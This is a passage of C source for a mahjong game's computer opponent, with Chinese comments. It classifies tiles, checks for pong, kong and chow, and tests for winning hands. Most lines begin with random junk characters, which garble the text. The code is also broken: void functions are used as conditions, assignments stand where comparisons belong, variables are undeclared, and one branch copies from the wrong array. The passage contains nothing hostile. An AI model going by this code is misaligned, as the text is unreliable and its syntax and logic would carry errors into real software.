$ U. I2 Y4 x/ f' E/ ]) R7 y8 L{
lgg=6;
6 r2 h' q. G3 N& r8 Fcomputer.pp.d[1]=6;
  t$ z1 k0 M; g9 G7 n1 M+ d}
5 S- w+ i7 Z: S9 j; o1 R5 eelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
{
lgg=7;
1 W" \  R) A1 i( G7 i$ Qcomputer.pp.d[1]=7;
}
# c# z- T% B2 e; V4 P}
8 o2 P2 F) e; h9 q- R( m4 r" U& }' S7 t
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
; O! Q5 Z4 W" x9 C9 zif(logoo==lgg)
4 K- {6 L  v7 d- cpg++;
" D6 G* O' Y2 _+ ]/ }ch.lg=lg; /*保存电脑手里的每张牌的信息*/
/ |9 D2 o' u5 b0 E) G( S: r* ]ch.lgg=lgg;
3 b/ D7 J4 V4 u) b* b- Dlg=0;
3 C7 m1 p+ o. j  mlgg=0;
b++;
}
if(pg==2) /*乓*/
{
- H3 m) a1 [% T% A
8 b, {( ]* w4 o9 h/ ?: L3 osing=1;
b=computer.m;
while(b!=-1)
' r9 w$ r) e6 Q{
- k5 F( ?; T6 n8 r3 w1 f( Aif(strcmp(me.pp[c].k,computer.pp.k)==0)
+ r' H* D( ~4 hcomputer.pp.p=1;
8 |# l2 j' }& p0 F  H  ?) M! k/ M
b--;
7 _: P2 ^* H# ?% T}
5 F/ x5 d) G$ p1 c}
if(pg==3) /*杠*/
! Q, q/ Z9 I' a( D. a- W! P  ^{

0 c4 |8 a$ H' g4 I4 Nsing=2;
b=computer.m;
while(b!=-1)
{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.g=1;
' ~, v  x' u+ ab--;
}
- q' j) {0 W; {7 H0 x4 F* F5 f}
& L/ s  {2 |8 u8 e4 N" T: _f=0;
while(f&lt;computer.m) /*吃的判断*/
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
! I3 Q8 |, J9 L. G% p{
' N7 M* t- J6 |if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
# g6 i/ t+ A! J* _2 [( M7 q, Kif(ch[f].lgg-logoo==1)
( w$ l# _3 `2 c' \' n; U8 {4 F. X{
gp++;
# L6 r/ f" b0 Q: s$ Y; j( Gcomputer.pp[f].c=1;
computer.pp[f+1].c=1;
, f) M  @/ u, a" \* a* z3 ~}
3 x- ^- z$ ^$ }! w( ^. Rif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
: e7 q9 e5 K4 X5 h8 F3 F, U2 ~if(ch[f+1].lgg-logoo==-1)
1 r# W: U; {. D9 b- v# ~{
gp++;
& K" m! Y+ C! tcomputer.pp[f].c=1;
- M5 ]; [4 q0 r& T9 C0 hcomputer.pp[f+1].c=1;
}
4 [( }; g7 L: b1 q& s  r" R; `- rif(ch[f].lgg-logoo==-1) /*中吃*/
if(ch[f+1].lgg-logoo==1)
! ~3 D: q2 X6 R  I{
3 D+ A8 Q1 X1 e  F1 X* Ngp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
3 o$ w( I0 S, j* C8 V5 K- f) x- W" ?}
if(gp==1)
break;
; Q! h# e6 v  H0 a6 |, n}
& ^- t& F- m4 E, x% g1 rf++;
8 S0 P( F, F4 b& T. k7 @1 O}
if(gp==1)
{sing=7;

" X1 `8 l" S" @8 b  Q" a% W}
+ q% ~6 l/ J. q0 ]4 Jpg=0;
6 a& x, s  P+ t# \' Ngp=0;
b=0;
}
9 X4 [+ W8 z' `% Z7 e* bvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
- a& \4 j. I" Z  d3 D+ N{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
{
3 S- E, {5 u+ N& [& p  ulogo=1;
/ G6 l0 @" H4 l9 q4 D0 Wif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
  g: N5 d9 Y; r+ ~8 o1 Qlogoo=1;
1 Z& R3 _) T& O" e& F: ?. welse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
7 m9 Y# Z3 G6 Y  c( y$ M& |5 blogoo=2;
' r. B) w6 O9 v+ uelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
& q2 [+ r/ Y5 e" @; i/ q9 e  I9 Slogoo=3;
8 h* r" Z" d2 e. |0 w  n; selse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
logoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
logoo=5;
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
logoo=6;
6 R' _8 [! n1 a7 xelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
logoo=7;
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
# I# @  K! w5 M0 e: E1 wlogoo=8;
* l6 S' n# K+ O1 qelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
& S7 h9 Y3 y* q; blogoo=9;
}
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
{
logo=2;
& e+ o0 l2 ^8 Nif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
logoo=1;
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
logoo=2;
# d0 s2 \, B2 {else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
logoo=3;
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
8 `% q2 P5 W5 r! Slogoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
7 [& {$ q6 M& t8 C7 u; Y& g) z$ X4 @logoo=5;
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
logoo=6;
$ @) ^$ q' D; {+ a5 V! l; A! Oelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
logoo=7;
0 U; C& G4 n, P* `else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
  u3 u( N) h' j2 blogoo=8;
7 d# c! V8 y: r+ z& O( L7 `else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
4 z  @) E5 P" T" }logoo=9;
}
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
{
logo=3;
0 ]6 X" T9 W, b9 q/ h3 G5 t: I+ }* eif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
logoo=1;
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
logoo=2;
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
logoo=3;
& V$ E7 j) ]! V; Q2 H/ e3 k5 welse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
  w# M3 i' s: P" p7 \logoo=4;
% u) w8 E! k0 g, Ielse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
1 a! \( H, I8 b9 k1 f" qlogoo=5;
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
logoo=6;
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
( ]7 ^" f. P3 Z  R2 f, ologoo=7;
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
% t" H$ h# Z# E; @logoo=8;
6 p9 j5 v# T1 I1 c8 V- pelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
  E- S( L0 s, D4 k. g+ Ylogoo=9;
( Y* O/ B, S! t6 ~' c. |}
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
{
logo=4;
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
logoo=1;
! D+ q8 \- f  b* ?2 Y$ `else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
logoo=2;
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
logoo=3;
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
logoo=4;
" @& P' n1 a5 f! E( Relse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
logoo=5;
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
logoo=6;
" ~; E$ |4 X' v  N! c. }6 T8 y# Nelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
logoo=7;
}
' r7 x- y/ b1 Dwhile(b&lt;=me.m)
2 ]6 J6 V5 {9 Y. ^: K{
; s5 D- N. P. h' m1 K  @if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
1 `! _2 e" ?, b& a' W$ ]/ b{
lg=1;
( R- L, C% C3 U3 f) d$ Rme.pp.d[0]=1;
# l: f! F& ?: C. @& t! G2 aif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
+ d3 k1 Q  H! a# C{
# `0 C7 C3 B0 Q, G+ u* @' z$ `lgg=1;
- o* h" R. `6 \8 ~me.pp.d[1]=1;
}
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
{
, w1 n* z' Z9 l, g6 ]lgg=2;
me.pp.d[1]=2;
, b/ P: ]7 ^+ I* f* v' ~9 y6 ]}
7 h5 j& c% x) u7 D3 p. `- R+ uelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
{
lgg=3;
1 k- h$ }5 v; t, ime.pp.d[1]=3;
}
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
8 G' B2 v/ H+ D( [( J{
lgg=4;
me.pp.d[1]=4;
3 N1 [+ z5 ], _. w! V3 ~}
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
{
6 u" Y5 j8 y" j& M! @8 R% Flgg=5;
% @6 u6 t' }' S0 Tme.pp.d[1]=5;
& k% t* A. w. g& P2 t}
: X9 B& x1 Z9 A7 x- r3 w! X- F* welse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
{
lgg=6;
me.pp.d[1]=6;
/ x; Z7 D- _+ O8 m- o: e$ k}
& e% Z9 c. ~5 u% r, pelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
2 u- q" ?  @# L7 ~  }3 V  _4 a  s$ R{
" P' D: q2 Y2 N- J$ flgg=7;
me.pp.d[1]=7;
& C4 R  n! t1 u3 X5 Z4 @8 T}
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
* K. {$ u' y( V0 B7 F7 J{
lgg=8;
me.pp.d[1]=8;
$ W+ t4 m6 [% R}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
; b. @& l/ W) |& B1 C* w$ {6 ?{
lgg=9;
me.pp.d[1]=9;
}
. S3 o7 ?6 O0 B  q+ h6 @}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
{
lg=2;
5 K/ k0 s! ^5 i0 Yme.pp.d[0]=2;
4 z$ M$ B4 i2 k: W. ^/ Z" Rif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
) v. Y6 l7 G2 o, G) l2 A( n{
lgg=1;
me.pp.d[1]=1;
}
! I. t4 w5 A# ]0 \) _" g9 r4 q9 celse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
3 l! Q- ]5 o, a& o# U{
lgg=2;
5 T! S! Z3 s' j7 n7 Wme.pp.d[1]=2;
' l0 x1 ~: }0 i}
& y- _! p$ H: w4 xelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
$ C8 t+ T! ?9 x! K{
# f* j1 Y+ k0 E* t- tlgg=3;
7 ~( F4 t6 o, i/ F& F, {0 Eme.pp.d[1]=3;
}
$ ~! R5 Q- e; P+ Zelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
" u" M' m( ~' S# F" g# @) F{
lgg=4;
# o" t  {4 t; l0 r3 r8 bme.pp.d[1]=4;
$ G, z1 R* i( N: W}
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
{
* `# F8 t8 B4 F% a; a2 t9 `lgg=5;
me.pp.d[1]=5;
- z( b- j1 d5 _+ j& y}
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
{
  R) ]6 Y6 Z% b) m1 ~# x& R, Algg=6;
me.pp.d[1]=6;
}
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
: E1 ?6 U) O6 s/ Y! K. G. N, K{
+ Z/ X* ]# P: o! l9 Jlgg=7;
me.pp.d[1]=7;
}
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
/ w8 s& p) |0 k! |* |{
lgg=8;
me.pp.d[1]=8;
  ~6 X. C$ }) q4 P}
1 C) d" X1 I7 f) a, aelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
{
lgg=9;
me.pp.d[1]=9;
}
}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
+ @% C- h2 i! o, _5 j# e' [  s3 F4 Q{
& N6 D& ]! J- P+ F9 B4 A2 d  Ylg=3;
me.pp.d[0]=3;
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
{
lgg=1;
me.pp.d[1]=1;
: A9 i3 g: f5 ?9 i9 M9 U}
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
{
2 o0 r+ {3 o1 n  j. G4 O, ilgg=2;
me.pp.d[1]=2;
}
( G" B( a7 N/ }+ C; e, selse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
* d0 e3 G1 F- D2 _7 g{
lgg=3;
' ]* I! r& ]& m7 B0 |me.pp.d[1]=3;
* Q9 ]7 a; o( d- B}
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
{
lgg=4;
( Y: @1 G' O$ M, w3 X$ n1 Pme.pp.d[1]=4;
6 c, a* V/ n; @" L}
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
& P/ f: f# Z8 k# {  B% Q{
6 X, K$ D; Z3 V9 Jlgg=5;
me.pp.d[1]=5;
}
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
{
lgg=6;
me.pp.d[1]=6;
}
  Z' c4 P! k9 z. pelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
$ S" y0 N9 N' m* q{
lgg=7;
, J1 T3 H, J+ f8 mme.pp.d[1]=7;
! y. W0 B* h" G' U8 g}
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
{
+ a/ P9 G) P* N1 ?% Slgg=8;
7 _9 e: {* C1 @* n  w- V) Hme.pp.d[1]=8;
. [( Q- {+ [9 ?1 ]) }( s" E6 _}
$ F; M) J6 J5 `- E  }else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
{
' D+ j9 W. a7 D  I$ llgg=9;
+ o* w5 V- P: G+ _+ }* G5 ]3 h8 S3 ome.pp.d[1]=9;
$ ]# ?7 w* a$ L9 x0 z# s& O8 a5 G}
}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
{
lg=4;
me.pp.d[0]=4;
9 W7 V, i5 L2 H! a1 iif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
{
. v. l9 u% Q& K! W" R/ X4 wlgg=1;
) \' Q; t* N8 \2 }9 R+ Wme.pp.d[1]=1;
}
, \* y1 Y/ |# A  [else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
: I# y/ g% i, ~( r3 P6 A{
lgg=2;
me.pp.d[1]=2;
1 e- ^5 W2 A$ z% S* n) A/ a}
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
{
lgg=3;
6 g+ S$ N3 ]  ]9 U% zme.pp.d[1]=3;
}
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
! I7 n7 ~' k$ Y: Y$ |  a2 }2 [{
lgg=4;
$ C2 |* X, M  P( h$ kme.pp.d[1]=4;
  h* _0 R2 e8 i! A5 k}
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
{
lgg=5;
9 ~! X7 |% |9 ime.pp.d[1]=5;
# y! x! b0 {7 J+ b; a}
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
{
lgg=6;
me.pp.d[1]=6;
6 ~2 n3 [( N. ^0 q) S5 ]% @! \}
: J/ i+ U8 O3 ^; V. Pelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
+ X' x, ], r4 T{
lgg=7;
7 b6 l+ J* J9 K  U: F* ume.pp.d[1]=7;
3 R9 x2 p; B0 ~% ?}
}
$ `# E1 H4 W6 }" a7 K0 N* h}
% {; J" C, ]# H. u' {}
+ o2 G- g4 E+ `, v+ V8 @+ a7 h0 h" wvoid istwo(testt)
/ [* i/ x8 w* M; N1 cint testt[];
" m# m+ U8 L: H1 v+ H{ if(testt[0]==testt[1])
3 y+ K) d' ]0 d3 ]/ lsecond++;
}
0 W4 O! _2 n+ Y6 U" B, O% M. P! cvoid isthree(testt,n)
int testt[],n=0;
$ c; T7 E" k3 m  f# Y# l' G: c8 |. x( Z{ int i,j,flage=0,lianx=0,same=0;
4 ?" a5 v- C7 K8 L% en=n/3;
for(j=0;j&lt;n;j++)
) |2 z3 c5 Q2 f4 H3 R' N1 I{
for(i=j*3;i&lt;2+j*3;i++)
+ C6 S. O2 n6 F# ^8 o( ]; @{
if(testt==testt[i+1])
. t/ c: C9 V1 K! Lsame++;
4 O+ R+ d3 {8 {0 Eif(testt[i+1]-testt==1)
lianx++;
1 x( A# L$ N9 g% Z9 G( e' n1 G$ @}
if(same==2)
3 {/ r# d6 y  ^threes++;
if(lianx==2)
threes++;
same=0;
1 b8 y0 T% A& Clianx=0;
}
}
3 i) f* a" C' {2 {6 h# o: I& A; uvoid panduan() /*本程序的精髓*/
% c: p! J2 Z4 y+ b' j{int data[14];
, ~  D2 ^5 @& S& k& fint pw[14];
int pt[14];
) D( ^* F# g  x0 G5 j( ^int pi[14];
int pf[14];
int test[12];
; R! e, d( T4 _& a( B( D0 K0 J- [( Pint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
for(jj=0;jj&lt;=me.m;jj++)
# W, K5 ^% Z/ |- W! G6 B$ f' ]9 S/ S{
8 b7 V* O7 ^& G$ m6 M4 D9 @, Pif(me.pp[jj].d[0]==1)
. s! X$ b6 G- [# F8 Y/ D6 `data[jj]=me.pp[jj].d[1];
% N3 _6 c4 i4 ]' ^' E; F+ Lif(me.pp[jj].d[0]==2)
0 u6 ^3 O" a' gdata[jj]=me.pp[jj].d[1]+10;
if(me.pp[jj].d[0]==3)
data[jj]=me.pp[jj].d[1]+20;
if(me.pp[jj].d[0]==4)
) m5 I/ [4 g$ i6 h# C, V. qdata[jj]=me.pp[jj].d[1]+30;
}
& [) k; D+ s5 r; \+ C5 y+ Bif(logo==2)
w=logoo+10;
if(logo==3)
w=logoo+20;
if(logo==4)
; n/ u  M+ H+ e4 ?w=logoo+30;
, S3 J' ?- M5 I# o3 \/ B" Sdata[computer.m+1]=w;
for(mm=0;mm&lt;=computer.m;mm++)
for(nn=mm;nn&lt;=computer.m;nn++)
if(data[mm]&gt;data[nn+1])
{
$ u" H+ C* T4 Jtpp=data[mm];
& p, t, {) N$ c& Rdata[mm]=data[nn+1];
data[nn+1]=tpp;
$ c- Q; g5 f7 U' t! I}
; |; o+ u: z% c2 V: z! Llp=0;
while(lp&lt;=computer.m)
* `& Q( o: {  o3 }" A{ if(data[lp]&lt;10)
- ^) n3 q$ i- L- r# C6 wpw[ww++]=data[lp];
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
pt[tt++]=data[lp];
/ V+ B1 g- a) ?if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
pi[ii++]=data[lp];
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
pf[ff++]=data[lp];
0 i. N; x; F# Z* I  n9 |2 q( J; Blp++;
}
if(ww==2)
6 K' _( ~# V  y3 y+ u0 a6 Listwo(pw);
! X+ G; S  S$ C0 t4 yelse if(ww==3)
isthree(pw,ww);
else if(ww==5)
+ Y6 k4 N; f3 D5 Q4 g/*pw[5]原始牌数组，假设已经升序排列*/
; C: _6 }0 x* e$ s/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
1 o" u0 Y  o% ?0 M, _# i{
for(j=0;j&lt;2;j++)
: x) M  E3 e$ A9 C- f, [; b{test[j]=pw[i+j];
4 L: a) ]1 @" l0 d0 g}
if(istwo(test))
( g: e( h* p6 w& X{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
% O9 A# H( c) y7 i{
( C! v1 b( O1 E! k5 @/ s- Qkl=kl+2;
8 N" O: U( V% l# M% ^% `if(kl==5)
break;
}
; j2 q, S$ L# Z; U, u# e0 Q; jtest[ill++]=pw[kl];
% I4 r; a8 i' d4 y: U" I3 L) q}
+ ]0 e" i) s" l; j3 Y) e6 |' {4 W; Oisthree(test);
}
}
: X# z- d- j' [. B9 U; n$ Melse if(ww==6)
8 D. ^; I0 I4 m# C; T( _9 X  s% tisthree(pw,ww);
: L6 |9 _/ {! o5 eelse if(ww==8)
% t  K# o2 F' S3 z1 @" l2 Zfor(i=0;i&lt;7;i++)
# ~5 F$ j0 }2 ]* h- f& m, N! N9 E{
for(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
}
. {* z7 J& F) Q0 S: o# mif(istwo(test))
. R5 P0 g- z5 ]5 I' G{ ill=0;
# U- n/ g2 n1 |5 [# Yfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
$ Y/ X% F/ s2 J! L( B4 z1 Q{if(kl==i)
8 Q1 U0 f' Y+ @. }4 L, E8 j4 p{
kl=kl+2;
if(kl==8)
9 H# b' u, B. g6 X6 O  m  j- \break;
+ s$ m$ i' ~; B9 A/ m}
3 f" K& v# {& R/ v% ^test[ill++]=pw[kl];
1 M8 `' g3 M+ Y' y1 ]}
isthree(test,ww-2);
2 v9 Z' z1 y: h- V2 K& ~) I+ N}
}
4 z: a. b4 e- ~$ N% {else if(ww==9)
isthree(pw,ww);
, |$ }9 \, a, o5 U7 H# S- aelse if(ww==11)
for(i=0;i&lt;10;i++)
{
, q  q9 [0 ?; X* kfor(j=0;j&lt;2;j++)
$ i" ]: v' V, m: G{test[j]=pw[i+j];
}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
1 y. [8 G3 p! K( S/ y, z3 dkl=kl+2;
if(kl==11)
: W$ v- D& a# O4 @break;
' q' T" q: h0 ^( x}
7 T+ J" H  Q# G8 L7 M; c3 \5 Xtest[ill++]=pw[kl];
}
isthree(test,ww-2);
- u  B" J0 |/ s: c2 J}
}
/ A+ Z. z' i% W3 P, N- V1 eelse if(ww=12)
isthree(pw,ww);
else if(ww=14)
* t1 I5 r$ J/ Y# ^) x3 Y/ [8 Ufor(i=0;i&lt;13;i++)
7 f, @& k: s2 g+ i4 L! M( O* k{
- L# K# S6 T0 m1 E( F8 Z: m5 efor(j=0;j&lt;2;j++)
! X8 B' }% t  ]# ~6 q{test[j]=pw[i+j];
}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
- R; i7 s4 `& K2 }; b6 tkl=kl+2;
if(kl==14)
) s7 b+ x9 S& c  m$ sbreak;
}
test[ill++]=pw[kl];
}
! @0 j" N0 u! Eisthree(test,ww-2);
}
}
if(tt==2)
istwo(pt);
# k2 \5 R- e) Velse if(tt==3)
/ j; B. |( B' nisthree(pt,tt);
else if(tt==5)
/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
" @. {8 c& W& p) z" }8 R9 i{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
2 ]( Q' D  q, F1 ^}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
) r* K9 h( ?3 L; O" l' L/ h{if(kl==i)
$ c/ {% {6 w- A1 j5 P3 H{
kl=kl+2;
# e: G) e" t9 g" u$ f/ k5 l8 hif(kl==5)
break;
! ]4 q* D: b4 Q! Z% I, }}
" v2 g, u7 \! q6 F* k3 ftest[ill++]=pt[kl];
}
isthree(test);
* k$ s4 h& H- r+ @}
}
else if(tt==6)
7 b. q' ]1 u. F  Bisthree(pt,tt);
  \  }+ Y) r! _; l+ ?$ N; Q2 Gelse if(tt==8)
( ^" x8 a/ E- [for(i=0;i&lt;7;i++)
{
, W# v& c- u" G4 O5 Z4 ^for(j=0;j&lt;2;j++)
/ S8 ]0 ?- u  D{test[j]=pt[i+j];
}
! |- Y+ G4 R% P. X+ k: U- Q* Bif(istwo(test))
4 V4 v# Q4 Z' r5 l# M: [1 }& j1 H, t{ ill=0;
# k( q3 B/ t2 ifor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
9 N. ~! b# {& x{if(kl==i)
4 Z9 Y6 h0 c$ E7 p0 H{
kl=kl+2;
if(kl==8)
+ Z/ i* G- W7 m2 Lbreak;
}
& S7 ^# `& m9 H  @0 _# ~. l, ttest[ill++]=pt[kl];
}
isthree(test,tt-2);
6 g3 O+ S  W* u; Q}
. y* Y8 E. C9 t" l5 N, p4 `}
else if(tt==9)
: E0 z% i( _) [' E5 Tisthree(pt,tt);
' b* u  `% Q  I% \, }+ n- melse if(tt==11)
for(i=0;i&lt;10;i++)
{
1 E0 Q5 T' ?4 G: g3 {0 pfor(j=0;j&lt;2;j++)
) z" W. [( O; N' U" X' t{test[j]=pt[i+j];
}
% l5 p* M  M; \6 |. K5 Fif(istwo(test))
{ ill=0;
8 y) u; l: y* y: P$ S" b; Jfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- y# q4 J) L* D0 }- X0 u: D{if(kl==i)
# [/ M9 p3 l  r/ J# D9 @3 j{
kl=kl+2;
9 ?4 g, b/ s+ J1 F+ ^$ Uif(kl==11)
# A- q% a1 w% [; @1 A! T5 c" B! Xbreak;
. x( Q4 s5 ?+ Z5 m, a0 x}
" w8 o* J5 n' G% Itest[ill++]=pt[kl];
* ~6 |0 q0 E7 ?+ @- H}
  V1 L# M9 ?) p% f0 Jisthree(test,tt-2);
}
+ \! v! R6 k- y5 c2 B- D7 a}
else if(tt=12)
) u0 A$ x4 Z3 b1 Xisthree(pt,tt);
else if(tt=14)
( W( @% ^  H2 b5 `: t( @for(i=0;i&lt;13;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
+ L  E0 E1 O5 Vif(istwo(test))
{ ill=0;
( @9 f3 W% b) n9 f, P' Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
5 M" M- ^& U5 {/ ?3 K% i2 xkl=kl+2;
if(kl==14)
break;
}
7 j3 ^1 a2 A; [test[ill++]=pt[kl];
}
- R& E; }- D8 T5 z4 _isthree(test,tt-2);
}
}
if(ii==2)
# |6 z3 W! p& ]6 n* m- iistwo(pi);
else if(ii==3)
isthree(pi,ii);
else if(ii==5)
/*pi[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
; w9 w) @; |& K{
for(j=0;j&lt;2;j++)
. P& y1 L5 d# D! C* X4 l$ H4 _3 o{test[j]=pi[i+j];
}
" y* [% p; e7 N5 [if(istwo(test))
{ ill=0;
( K! \0 U. }; v$ n& T) Q5 \" Cfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
" ]5 R( [( @6 \  \8 r5 p) z* I8 c{if(kl==i)
, E" u2 p; i$ R; D! z7 D{
kl=kl+2;
" l& B( b7 K% gif(kl==5)
$ r; D4 S0 ]+ R1 |break;
4 a' l" a4 X2 m0 w: l3 P1 Z  n}
, f! E1 b5 G& X+ rtest[ill++]=pw[kl];
# M; ?, e+ `- l3 N) C+ I/ `# [}
isthree(test);
}
8 w; K. W4 u* M# `. I}
else if(ii==6)
: v' |  s- ]7 |5 Y+ d1 Bisthree(pi,ii);
. h* z8 N6 ~: z  b  \# Pelse if(ii==8)
' i: R/ s, ?/ d/ E' Qfor(i=0;i&lt;7;i++)
{
. h1 y3 v0 O8 Y: n# Tfor(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
}
if(istwo(test))
{ ill=0;
: X; }1 {% p7 O7 G4 I) U# kfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
; l6 b  G% n$ A{
kl=kl+2;
) E' ?( E, Z/ jif(kl==8)
break;
# I8 a- r+ P7 K8 M7 D}
test[ill++]=pi[kl];
